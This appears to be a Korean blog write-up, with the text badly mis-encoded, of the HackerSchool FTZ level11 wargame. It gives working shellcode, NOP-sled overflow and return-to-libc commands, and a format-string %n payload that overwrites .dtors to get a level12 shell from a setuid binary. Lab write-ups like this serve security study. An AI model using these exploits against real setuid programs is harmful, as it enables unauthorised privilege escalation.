keyword : strcpy bof
keyword : printf Format String
keyword : NOP
level11 - Write Up(NOP)
ํํธ๊ฐ ์ฝ๋๋ค์... ์ ์ฝ๋๋ฅผ ๋ณด๋ฉด argv๋ผ๋ main์ธ์์ ๊ฐ์ ๋ฐ์์ ์ถ๋ ฅํ๋ค์
setreuid๊ฐ ์๊ธฐ์ level12๋ก ํฅํ๋ ๋น๋ฒ์ ๊ถํ์ ์ทจ๋ํ ์ ์๋ต๋๋ค.
BOF์ ์ทจ์ฝํ ๋ํ์ ์ธ ํจ์๊ฐ strcpy์ด๋๊น bof๋ก main์ ret๋ฅผ ์กฐ์ํ๋ฉด ๋๊ฒ ๋ค์
์ฐธ๊ณ ๋ก ์ ํจ์์์ bof ์ทจ์ฝ์ ์ ๋ง์๋ ค๋ฉด strncpy๋ก ํ๋ฉด ๋์ ใ
๊ทธ๋ผ ๋ฆฌ๋ฒ์ฑ์ผ๋ก ํ์ธํด๋ณผ๊น์?
์.. ๋ณด์๋ฉด ํ๋กค๋ก๊ทธ๊ฐ ์์ ๊ฐ์ด ๋์์์ผ๋ฉฐ, <main+3>์ ์ด์
์ฝ๋๊ฐ $0x108, %esp๋ก์จ
์๊น ์ฝ๋์์ ๋ณธ char str[256]์ ํฌ๊ธฐ๋ฅผ ์ ๋ ๊ฒ esp๋ก์จ ๊ณต๊ฐ ํ ๋นํ๊ฑฐ๋ค์
0x108๋ฅผ ๋ณํํ๋ฉด.. 264byte๋ก ๋์ค๋ค์
๊ทธ๋์ ์ค์ ๋ก ์
๋ ฅํ buf๊ฐ๊ณผ ํฌ๊ธฐ๊ฐ ๋ค๋ฅผ ์ ์์ผ๋๊น ํญ์ ํ์ธ ใฑใฑ
์ฌ๊ธฐ์ ๋ชจ๋.. ์ด๋ผ๋๊ฒ ๋ฑํ ์ค์น ์๋์ด ์๋๊ฑฐ ๊ฐ์ผ๋๊น ๋ฐ๋ก shellcode๋ฅผ ์ฐพ์์ ๋ฃ์ด๋ด
์๋ค.
์ฐธ๊ณ ๋ก shellcode(268byte; buf[264]+sfp[4]) + ret(4byte)๋ก ํ๋ฉด ๋๊ฒ ์ฃ ?
์ฐธ๊ณ ๋ก ์์ ์๋ strcpy์ ๋ฐํ๊ฐ ์ฆ, ret๋ฅผ ๋ฃ์ผ๋ฉด ๋๊ฒ ์ฃ ?(๊ฑฐ๊ธฐ์์ ์ ์ฝ๋๋ฅผ ๋ฃ์ด์ค๊ฑฐ๋๊น..)
์ฌ๊ธฐ์ shellcode๋ฅผ ์ป์ ์ ์์ด์.. ๊ทผ๋ฐ ๋ณด๋๊น ๋ญ ์ฐ๋ฆฌ๊ฐ ์ํ๋ 264byte ํฌ๊ธฐ์
shellcode๋ ์์ผ๋๊น(์ ์ ์ฐพ์๋ดค๋ค๋ง..) dummy๋ฅผ ์ฑ์์ ํด์ผ๊ฒ ๋ค์
๊ทผ๋ฐ ๋ฌธ์ ๋ ์ ๊ธฐ์ ์๋ ์ ์ฝ๋๋ค์ด ์ ์ ํตํ๋ค์.. ๊ทธ๋์ ๊ตฌ๊ธ๋ง์ ๋ ํ๊ฒ ๋ฌ์ฃ
๊ทธ๋ฌ๋ฉด์ ์ ์ฝ๋ ๋ชจ์๋์ ์ ๋ฆฌ๋ ๋ธ๋ก๊ทธ๋ฅผ ์ฌ๋ ค๋๋ฆด๊ป์
25byte shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
์.. ์ ๊ธฐ์ ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ผ๋ก ์์ ๋์ฐ๋ ์ฝ๋๋ฅผ ์ฌ์ฉํด๋ด ์๋ค.
์ฐธ๊ณ ๋ก ์ ๋ ๋ ์์ธํ ์ด์
์ด ์ ๋๋๋ผ๊ณ ์...
์ด๊ฑด.. ๋ฌด์จ;; ์ด์ level10์ด๋ ๋๊ฐ์ ๋ฌธ์ ๊ฐ์์ tmp๋ก ๋ณต์ฌํด์ ์งํํด์ผ๊ฒ ๋ค์ ํ..
์ง๋! ์ด์ ๋ ๊ฑฐ์์ ๊ทธ๋ผ ํ ๋ชจ์ต์ ์ค๋ช
ํ๊ธฐ๋ณด๋จ ์บก์ฒํ ๋ชจ์ต์ ๋์ดํด์ ๋ณด์ฌ๋๋ฆด๊ป์
์๋ง ๊ธ๋ฐฉ ์ดํด๋์ค ๊ฑฐ์์
`python -c 'print "\x90"*243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAA"'`
์.. ์์ ๊ฐ์ด ํ์ด๋ ์๋ง ์๋ ๊ฑฐ์์ ๋ฐ๋ก ASLR์ด ๊ฑธ๋ ค์๊ฑฐ๋ ์..
ํ.. ์ด์ฉ์ง ๊ณ์ ๋ฐ๋๋๋ผ ํ.. ๊ทผ๋ฐ ๋ฐ๋ณต๋ฌธ์ผ๋ก ๊ณ์ ๋๋ ค๋ณด์๋ฉด ์ธ์ ๊ฐ ๋ ์ง๋ ใ
ใ
ใ
๊ทธ๋ ๊ฒ ํ ์๋ ์๋๋ฐ ๋น์ถ๊ธด ํด์
level11 - Write Up(RTL)
ASLR์ ๊ดํ ๋ด์ฉ๊ณผ ์ฐํ ๋ฐฉ๋ฒ์ ์๋ ๋ ๊ฐ์ ๋งํฌ์์..
์ธ์์ ๋ฃ๋ ๋ถ๋ถ์ RET๋ฅผ ์ฐํํ ๋ ค๊ณ ํ์ผ๋.. ASLR์ด ๊ฑธ๋ ค์๊ธฐ์ RTL๋ก ํด์ผ๊ฒ ์ฃ
ldd์ ๋ช
๋ น์ด์ nm ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ(gdb ํด์ด ์ ๊ฐ ์ฐ๋๋ฐ๋ก ์ปค์คํ
์ด ์๋์ด ์์ด์ ใ
)
์์ ๊ฐ์ด ์ฌ์ฉํ๋ฉด. 0x4203f2c0์ผ๋ก ์์น๋ฅผ ํ์ธ ํ ์ ์์ต๋๋ค.(__libc_..๋ ์์น๊ฐ ๊ฐ๊ฒ ์ฃ ?)
ldd ๋ช ๋ น์ด
nm ๋ช ๋ น์ด
์.. ๊ทธ๋ผ ๋ฃ์ด์ ํ์ธ์ ํด๋ด ์๋น
๊ทธ ์ ์ RTL์ด๋๊น ํด๋น system ๋ฌธ์์ด์ ๋ค์ด๊ฐ ์ ์๋ ๋ฌธ์์ด ์ฆ, binsh์ ๋ฌธ์์ด๋ ์ฃผ์๋ฅผ ํ์ธํด์ ๋ฃ๊ฑฐ๋,
์
๋ ฅํด์ ๋ฃ์ด์ผ๊ฒ ์ฃ .. ์ ๋ง ์ฝ๊ฒ ๊ฐ๋ ๋ฒ์ด ์๋ค์ ใ
์.. strings๋ผ๋ ๋ช ๋ น์ด๋ ์ฌ์ฉํ ๊ป์ ์ฌ์ฉ๋ฒ์ ์์ ๋ช ์๋์ด ์์ผ๋๊น ์ฐธ๊ณ ๋ฐ๋์
์ฐธ๊ณ ๋ก libc๊ฐ ๋๊ฐ์๊ฑฐ ์ฐ๋๊น..(0x42๊ฐ ์๋ตํ๋ค? 4byte๊ฐ ์์ด์ผํ๋๊น ใ
) 0x42127ea4๊ฒ ์ฃ !!
์.. ๊ทธ๋ผ ๋ค ๋๋ฌ์ฃ
exploit code ํ์
dummy(268{buf[264] + sfp[4]}) + system_addr(8) + dummy(4) + Binsh(4)
์ ์ ๋ฐ ์์ผ๋ก ๊ตฌ์ฑ๋๋์ง๋.. ์๋ ๋งํฌ์์ ํ์ธํด์ฃผ์ธ์
๊ทผ๋ฐ Canary๋ ํฌํจ๋์ด ์์ด์.. ์ฃ์กํด์ ๋๋ฌด ์ง์ณ์ ใ
๋ฐ์ ์๋ฃ๋ ROP ํน์ Chaining RTL์ ๋ฐฉ์์ผ๋ก๋ ๋๋๋ฐ ์ฌ์ ์ผ๋ก ์ด์ง๋ฌ์์ ใ
๊ทธ๋ผ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด...
./attackme `python -c 'print "\x90"*268 + "\xc0\xf2\x03\x42" + "\x90"*4 + "\xa4\x7e\x12\x42"'`
์.. level12๊ฐ ๋์ผํ๋๋ฐ.. ์๋๋ค์??
์๋ง๋ setUID๊ฐ ์๋๊ฑฐ ๊ฐ์๋ฐ tmp๋ผ์ ๊ทธ๋ฐ๊ฑฐ ๊ฐ๋ค์ ๋์์ ๊ถํ ํ์ธ์ ํด๋ณด๋ฉด..
์ฌ์ฉ์ ๊ณ์ ์ด ๋ค๋ฅธ ๊ฑธ ํ์ธํ ์ ์์ฃ ๊ทธ๋ฌ๋ฉด level12๊ฐ ๋์ด ์๋ attackme์ ์ ๊ทผํด์ ์ฝ๋๋ฅผ ์ ์ฉํ๋ฉด..
level12 : it is like this
level11 - Write Up(FSB)
์์ ๊ฐ์ด printf์ ๊ดํ format์ ์ค์ ์ ํ๋๋ ์ง์ ์ ์ ํ๊ธฐ์ ์ทจ์ฝํ๋ต๋๋ค.
์ฐธ๊ณ ๋ก ํด๋น ์ทจ์ฝ์ ์ C๊ณ์ด์์ ์ฃผ๋ก ๋ฐ์๋๋ฉฐ, ์์ธ์ ํ๋ก๊ทธ๋๋จธ์ ์ค์์
๋๋น
์ธ์๋ฅผ ๋ฌด์์ผ๋ก ์ถ๋ ฅํ ๊ฑด์ง ํด๋น ์ง์ ์ ์ ํ๊ธฐ์ ์ฐ๋ฆฌ๊ฐ ์์๋ก ์ง์ ํ ์ ์๋ ๊ฒ์ด๊ฒ ์ฃ
๊ทธ๋ผ ๋ฐ๋ก ์ค์ต์ผ๋ก ๋์ด๊ฐ๊น์? ์ค๋ช
์ ์์์ ๋ค ํ์ผ๋๊น
์์ ๊ฐ์ด ์ง์ ์ ์ ํด์ค๋ค๋ฉด ์ ํฌ๊ฐ ์ง์ ํ format์ ํ์์ ๋ฐ๋ผ ์ถ๋ ฅํ๋ค๋ ๊ฑธ ํ์ธ
๊ทธ๋ฌํ๋ค๋ฉด ์ ํฌ์ ์ํฉ์ ๋ง๊ฒ ์ ๋ณด๋ฅผ ๊ตฌํด๋ณผ๊น์
๊ทธ๋ฌํ๋ค๋ฉด printf์ function์ ์ข
๋ฅ ์ค์์ ์ด๋ฌํ ์ค๋ฅ๊ฐ ์ด๋ฌ๋๋ ์ด์ ๊ฐ ๋ญ๊น์?
๋ฐ๋ก printf์ ํจ์๊ฐ ํฌ๋งท ์คํธ๋ง์ ์์ ์ง์ ์์ ๊ฐ์๋ฅผ ํ์ธ X ์ด๊ธฐ ๋๋ฌธ์ด์ฃ
์ฆ, printf์ ํฌ๋งท ์คํธ๋ง์ ๋ํ ๋ชจ๋ ์ธ์๊ฐ ์ ๋ฌ๋๋ค๋ ๊ฐ์ ํ์ ์คํ๋๊ธฐ์ ์คํ์ ๊ฐ์ ์ฐพ๊ณ ์ถ๋ ฅ
์ด๋ฌํ ํ์์ผ๋ก ์ถ๋ ฅ๋๊ธฐ์ ์ํํ ์ทจ์ฝ์ ์ด๊ฒ ์ฃ
Format String Bug; FSB Tip
%x์ %n์ด ๊ฐ์ฅ ๋ณดํธ์ ์ผ๋ก ์ค์ํฉ๋๋ค.
%x : 16์ง์๋ก ์ถ๋ ฅโ%n : ์์ ์ด ๋์ค๊ธฐ ์ ๊น์ง์ ๋ฌธ์๋ฅผ ์ฝ๊ธฐ & ์์ ์ด ๊ฐ๋ฅดํค๋ ์ฃผ์์ ์ ์ฅ
์ ๋๊ฐ์ง๋ฅผ ํตํด ํด๋น ์ฃผ์์ ์์น์ ๋ช ๋ น์ด(Exploit Code) ์ฝ์ ๋ฑ์ด ๊ฐ๋ฅํ์ฃ
์ฐธ๊ณ ๋ก %Nc(or %N$c๋ก ๋์ผํ๋๋ฐ ์๋๋ค;;)๋ก N์ ๊ฐ๋งํผ ์ฝ์ด๋๋ฆด ์๋ ์์ด์
๋ฌผ๋ก ๋ค์ํ ๋ฐฉ์์ผ๋ก๋ ์ ๊ทผ ๊ฐ๋ฅํ๋ต๋๋ค(%p ๋ฑ์ด ์์ฃ )
์ด๋ฐ ์์ผ๋ก 4๋ฒ์งธ ์ธ์์ ์ฐ๋ฆฌ๊ฐ ๋ฃ์๋ ๋ฌธ์ AAAA๊ฐ ์ถ๋ ฅ๋๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
๊ทธ๋ผ ํด๋น ์ธ์๊ฐ ์ด๋๊น์ง ๋ฐ์๋๋ฆฌ๋์ง๋ ํ์ธํด๋ด
์๋ค.
์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด 4๋ฒ์งธ์ ์ธ์ ์ดํ์๋ ๊ณ์ ๊ฐ์ ๋ด์ฉ์ด ๋ฐ๋ณต๋๋ค๋ ์ ์ ํ์ธ ํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๊ธฐ์ 4๋ฒ์งธ ์ธ์๊ฐ ์คํ๋๋ ๊ถํ์ผ๋ก์จ ret์ ์ฃผ์์ ์์น๋ก์จ ํ์ฉํ๋ค๋ฉด..
level12๋ก ๊ถํ ์์นํ ์ ์๊ฒ ์ฃ !(ํด๋น ์ฃผ์๋ก shellcode๋ฅผ ์คํ์ํจ๋ค๋ฉด level12๋ก ์คํ๋ ๊ฑฐ๋๊น)
๊ทธ๋ฌ๋ฉด ์ด๋ค ์์ผ๋ก ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฌ๋๊ณ ์ด๋ค ์์ผ๋ก ํดํน์ด ์งํ ๋๋์ง ์งง๊ฒ ์์๋ณด๊ณ ๋์ด๊ฐ์๋ค.
FSB์ ํ์์ ์ด๋ป๊ฒ ๋ ๊น..
์ ํ์์ ๋ณด์๋ฉด ์ ์ ์์ง๋ง printf์ ์ ๋จ๊ณ์์ ๋ธํฌ๋ฅผ ๊ฑธ๊ณ ํ์ธ์ ํ ๋ชจ์ต์ด๋ฉฐ,
์๋ ๋ฉ๋ชจ๋ฆฌ ์์๋๋ฅผ ๋ณด์๋ฉด์ ์ค๋ช
์ ์ด์ด๊ฐ์๋ฉด..
sfp(main์ชฝ์ EBP ) |
ret(main ์ชฝ) |
break point |
dummy |
↓ |
AAAA |
↓ |
sfp |
ret |
๋ก์จ ๋ฉ๋ชจ๋ฆฌ๊ฐ ๊ตฌ์ฑ๋๋ค๊ณ ์ถ์ ํ ์ ์๊ฒ ๋ค์ ๊ทธ๋ฌํ๋ค๋ฉด
ํด๋น ์ํ๋ system(ํน์ ์ ์ฝ๋์) ์ฃผ์๋ฅผ ๋ฃ๊ณ ๋ค์ ๋๋ฏธ๊ฐ์ผ๋ก ํ๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น์?
์์๋ก ์์์ ์ฃผ์์ธ 0xffeeddcc์ ๋ค์ ์์ ์ง์ ์๋ก์จ %n๊ณผ ๊ฐ์ ์์์ง์ ์๋ฅผ ๋ฃ๋๋ค๋ฉด
์ํ๋ ์ฃผ์์ ์๋ ์ฝ๋๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์คํ๋๊ฒ ์ฃ
๋ฌผ๋ก ๊ถํ์ด ์์์ ์ฃผ์์ ๋ญ ๋ฃ์ ๊ฒ๋ ์๊ณ ๊ถํ์ด ์๋์ ์ด๋์ด ์๋๋๊ฑฐ ๊ฐ์๋ฐ
์ ๋ฐ์์ผ๋ก ๋ค์์ผ๋ก ๋๊ฒจ๋ ๋ฌธ์ ์์ด ์ ๋๋๊ฑฐ ๊ฐ์ฃ ?
๊ทธ๋ผ FSB์ ๋ํ์ฌ ๋์ถฉ ์ ๊ฑฐ ๊ฐ์ผ๋ฏ๋ก ์๋๋ฆฌ์ค๊ฐ ์๋์ ๊ฐ๊ฒ ์ฃ
- printf์์ %๋ฌธ์(์์์ง์ ์)๋น ๋ฉ๋ชจ๋ฆฌ๋ 4byte ๋ค๋ก ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ด ์ฒ๋ฆฌํจ
- %n์ ์ฌ์ฉํ๋ฉด ์ผ์ด์จ ๊ฐ์ ์ถ๋ ฅํจ
- %Nc๋ฅผ ์ฌ์ฉํ๋ฉด N ๋งํผ ์ถ๋ ฅ ๋ฌธ์ ์๋ฅผ ๋ง๋ฌ
- dtor ํธ์ถ ์ฃผ์(๋ค์ ์ค๋ช
)๋ฅผ shellcode์ ์ฃผ์๋ก ๋ณ๊ฒฝ
- dtor์ ๊ฐ์ ๊ฒฝ์ฐ๋ ๊ณ ์ ์ ์ธ ์์น์์ ๋ช ๋ น์ด ์คํ์ด๊ธฐ์ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋๊ฒ ์ฃ
๊ทธ๋ผ ํด๋น ์ฝ๋์ ์ ์ฝ๋๋ฅผ ๋ถ๋ฌ๋๋ ค์ ๊ทธ ์ฃผ์๋ฅผ ์ฐพ๊ณ ํ์ธํด๋ณผ๊น์?
์์ ์ ์ฝ๋ ์ฃผ์ ๋์์ฃ ? ํ๊ฒฝ๋ณ์์ ๋ฃ์ด์ ๊บผ๋ด๋ ํ์์ผ๋ก ํฉ์๋ค
1 export Shellcode=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')cs
์ฐธ๊ณ ๋ก ์ ๊ธฐ export Shellcode=$(..)์ด๋ฐ์์ผ๋ก = ์ฌ์ด์ ๊ณต๋ฐฑ์์ผ๋ฉด ์๋ฌ๋ ์ ์์ผ๋๊น
์ด์ง๊ฐํ์๋ฉด ๋ถ์ฌ์ ์ฌ์ฉํ์๋๊ฒ ์ข์ ๊ฑฐ ๊ฐ์์ ์ฐธ๊ณ ์๋ฃ์์๋ ๊ทธ๋ฐ ์์ผ๋ก ์ค๋ช
ํ๋ค์
์์งํ env.. ์ฐพ๋๋ผ ์ฝ์ง ์ฝ๊ฐ ํ๋๋ฐ
์ ํฌ๊ฐ ๋ฃ์ Shellcode๊ฐ ๋ง ๋ญ๊ฐ์ ธ์๋ค์ ๊ทธ๋ผ ์ฃผ์ ํ์ธ์ ์ํด์..
123456789101112 //level11_Shellcode_addr_check//#include <stdio.h>#include <stdlib.h>int main(int* argc, char** argv[]){char *pathvar;pathvar = getenv("Shellcode");printf("pathvar addr : %p", pathvar);}cs
ํ์ธํด๋ณด๋ฉด.. ์ฃผ์๊ฐ 0xbffffc20์ด๋ค์!
๋ง์ง๋ง์ผ๋ก ์ด printf์ ๋๋๋ ret๊ฐ์ ์ฃผ์๋ง ๊ตฌํ๋ฉด ๋ค ๋๋๋ค์
nm ๋ช ๋ น์ด๋ก ํด๋น ํ์ธ์ ํ์ฌ main์ ์๋ฉธ์๋ฅผ ํ์ธ
.ctors ์์ฑ์ ํจ์๋ main() ์ ์ ์คํ
.dtors ์์ฑ์ ํจ์๋ main() ์ข ๋ฃ ํ์ ์คํ
0x08049610 ์ฃผ์๊ฐ Dtors_End๊ฒ ๋ค์
๋ค ๋๋ฌ๋ค์ exploit ์ฝ๋๋ฅผ ์ง์ค ๋ ์๊ฐํ ์์ฐจ์ ์ผ๋ก ์ค๋ช
์ ํ๋ค๋ฉด
์ ๋ฐ์ ๋งํฌ๋ ๋ฐ์ ๋ถ๋ถ์์ ์ฝ๊ฐ ๋ฉ๋ชจ๋ฆฌ ๋๋๋ ๊ธฐ์ค ์ด๋ฐ๊ฑธ ๋ชจ๋ฅด๊ฒ ๋ค ๊ทธ๋ผ ๋ค์ด๊ฐ์๋ฉด ๋์
shellcode addr : 0xbffffc20 [\x20\xfc\xff\xbf]
Dtors : 0x08049610 [\x10\x96\x04\x08]
๊ฐ์ฅ ์ด์์ ์ธ ํ์
[dtor์ ์ฃผ์] + (%8x)*3 + %[์ ์ฝ๋ ์ฃผ์; 0xbffffc10]c + %n
์ผ๋ก ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ตฌ์์ด ๋์ผ์ง๋ง ๋ฌธ์ ๋ ๋ฐ๋ก ์ ์ฝ๋๋ฅผ ๋ฃ๋ ๋ถ๋ถ..
์ฌ๊ธฐ์ "0xbffffc20"์ด๋ผ๋ ์ซ์๋ CS(Computer Science)๋ถ๋ถ์์ ๋ณํ ํ๋ ๋์ค์..
๋ฉ๋ชจ๋ฆฌ ์ ์ ์์ ๋ค๋ฅธ ์ซ์๋ก ๋ณํ๊ธฐ์ ํฐ ์ค๋ฅ๊ฐ ์๊ธธ ์ ์์ต๋๋ค.
0xbfffff20๋ 10์ง์๋ก 3,221,225,248์ธ๋ฐ
intํ์ ๋ฒ์๋ -2,147,483,648 ~ 2,147,438,647 ์ด๊ธฐ ๋๋ฌธ์ ์ ๋๋ก ์ธ์์ ํ์งํจ
์์ธํ ์ด์ ๋ ์์ ๋งํฌ๋ก.. ์ฌ๊ธฐ์ ์ค๋ช
ํ๋๊ฒ ๋๋ฌด ๊ธธ์ด์ง๋๊น ์๋ ๊ฐ๋จํ ์ค๋ช
์ถ๊ฐ์ ์ผ๋ก ๊ณต๋ถํ๊ณ ์ถ๋ค๋ฉด CS๋ถ๋ถ์ ๊ณต๋ถํด์ฃผ์ธ์ ใ
๊ธฐ๋ณธ์ ์ธ ํ(๋ฉ๋ชจ๋ฆฌ์ ๋ง๊ฒ ๋์ด์.. ๋๋ถ๋ถ ์ด๋ ๊ฒ ํจ)
[dtor ์์ 2byte] + [- ํ์ 2byte] + (%8x)*3 + %[shell ํ์ 2byte addr]c + %n + %[- ์์ 2byte] + %n
๋ฆฌํ ์๋์ ํ์์ผ๋ก ๋ฃ์๊ฑฐ๊ธฐ์ ์ด๋ฐ ํ์์ผ๋ก ๋๋๊ฑฐ ์์ค๊ฑฐ์์
๊ทธ๋ฌ๋ฉด ๋ญ๊ฐ ์ด๋ป๊ฒ ํด์ผํ ์ง ๊ฐ์ด ์ ์ฌ ์ ์์ผ๋ฏ๋ก
[dtor ์์] ← [์ ํ์ 2byte; \xff\xbf\x00\x00; 65471(10์ง์)]
[dtor ํ์] ← [์ ์์ 2byte; \x20\xfc\x00\x00; 8444(10์ง์)]
๋ณด์๋ฉด dtor์ ์ฃผ์๋ฅผ ์ชผ๊ฐฐ์ผ๋ฏ๋ก dtor ์์ ์ฃผ์๋ฅผ ๋ฃ๊ธฐ ์ํด์ %n์ ์ถ๊ฐ ์ฆ, 4byte ๋งํผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๊ฐ๋จ
๊ทธ๋ฌ๊ธฐ์ 4byte๋ฅผ ๋ก๊ฒจ์ผ์ง dtor์ ๊ฐ๊ฐ ๋ฐ์ดํฐ๊ฐ ์ ๋ค์ด๊ฐ๊ฒ ์ฃ ? ๊ทธ๋์ (%8x)*(3-1)
๋ณด์
[dtor ์์ 2byte] + [4byte dummy] + [- ํ์ 2byte] + (%8x)*2 + %[shell ํ์ 2byte addr]c + %n + %[- ์์ 2byte] + %n
๊ทธ๋ฆฌ๊ณ ์ ํ์ 2byte๋ฃ์๋ผ๊ณ %n์ผ๋ก 4byte๋ฅผ ๋ก๊ฒผ์ผ๋๊น ์ ์์ ๋ฃ์๋ ค๋ฉด
์๋ dtor์ ํ์ ๋ฐ์ดํธ์ ์์น๋ฅผ4byte ๋ฐ์ด์ค์ผ ์ ์์ ์ผ๋ก ์ธ์๋ค์ด ์
๋ ฅ๋๊ฒ ์ฃ ?
์์งํ ์ดํดํ๊ธฐ๊ฐ ์๋น ์ด๋ ต๊ธฐ ๋๋ฌธ์ ์ฒ์ฒํ ์๊ฐํด์ฃผ์๊ณ ๋ชจ๋ฅด์๋ฉด ๋๊ธ๋ก ํด์ฃผ์ธ์
๊ทธ๋ผ payload์ ์๋๋ฆฌ์ค๋ ๋์ถฉ ๊ตฌ์ฑํ์ด์
(์ค์ ๋ก๋ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์ฑ์ ์ค์ ๊ฐ์ ๋ฃ์ ๋ ๋ค์ ์
๋ ฅํด์ผํ ๋ถ๋ถ๋ ์์ง๋ง..)
Payload Exploit
shellcode addr : 0xbffffc20 [\x20\xfc\xff\xbf]
Dtors : 0x08049610 [\x10\x96\x04\x08]
[dtor ์์] ← [์ ํ์ 2byte; \xff\xbf\x00\x00; 65471(10์ง์)]
[dtor ํ์] ← [์ ์์ 2byte; \x20\xfc\x00\x00; 8444(10์ง์)]
./attackme `python -c 'print "\x10\x96\x04\x08" + "AAAA" + "\x12\x96\x04\x08" + "%8x%8x" + "%64514c" + "%n" + "%50145c" + "%n"'`
์์ ๊ฐ์ด ์งฏ์ผ๋ฉฐ ์ ์ฝ๋์ ์ธ์๋ฅผ ๋ฃ์๋ ์ฃผ์์ ์ด ๊ทธ๋๊น์ง ์ถ๋ ฅํ ๋ฌธ์์ ์๋งํผ ๋นผ์ผํด์
(์๋ณธ ๊ฐ - ์ถ๋ ฅ๋ ๊ฐ) + ์ถ๋ ฅ๋ ๊ฐ = ์๋ณธ๊ฐ
๊ทธ๋ฌ๋ฏ๋ก dotr addr(8) + dummy(4) + %8x*2(16) = 24๋งํผ ๋นผ๋ฉด ๋์
65471 - 24 = 64514, ๋ค์๋ ๋๊ฐ์ด ํด์ผํ๋๋ฐ ํฌ๊ธฐ๊ฐ ์๋์ ์์ ์ฆ, ๋ณด์ ๊ฐ์ด ๋์ค์์์
๊ทธ๋ฌ๋ฏ๋ก CS๋ฅผ ๋ฐฐ์ฐ์
จ๋ค๋ฉด ์์๊ฒ ์ง๋ง ๋ณด์์ ๊ฐ์ด ์๊ธฐ์ ์ต์๋จ์ 1์ ์ถ๊ฐํด 1fc20 - ffxb = 50145๋ก
๋์์.. ์ด๊ฑด ์์ ์ ๊ณ์ ํ๋ค๋ณด๋๊น.. ๊ทธ๋ฐ๋ฐ ํด๋ณด๋ฉด.. ์๋๋๋ผ๊ณ ์ ๋์ค์ ๋ค์ ํ ๊ป์ ใ
๋ค์ ์ค๋ช
์ด ๋ถ์น์ ํ ์ด์ ๋ ๊ณ์ ๋ ์๊ฐ์ ํ๊ฐ ๋๋ฌด ๋ฌ๋๋ฐ.. ใ
์ด์ฉ ์ ์์ฃ
์ ๊น๋จน์ ์ ์์ผ๋๊น ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก ํ๊ณ ์ถ๋ค๋ฉด ๋๊ธ๋ก๋ ๋ชจ๋ ์ฌ์ดํด์ฃผ์ธ์ ๊ทธ๋ผ ์ด๋ง
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โHackerSchool_FTZ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HackerSchool_level12 (0) | 2022.09.14 |
---|---|
HackerSchool_level10 (0) | 2022.08.10 |
HackerSchool_level9 (2) | 2022.07.11 |
HackerSchool_level8 (0) | 2022.07.06 |
HackerSchool_level7 (0) | 2022.07.05 |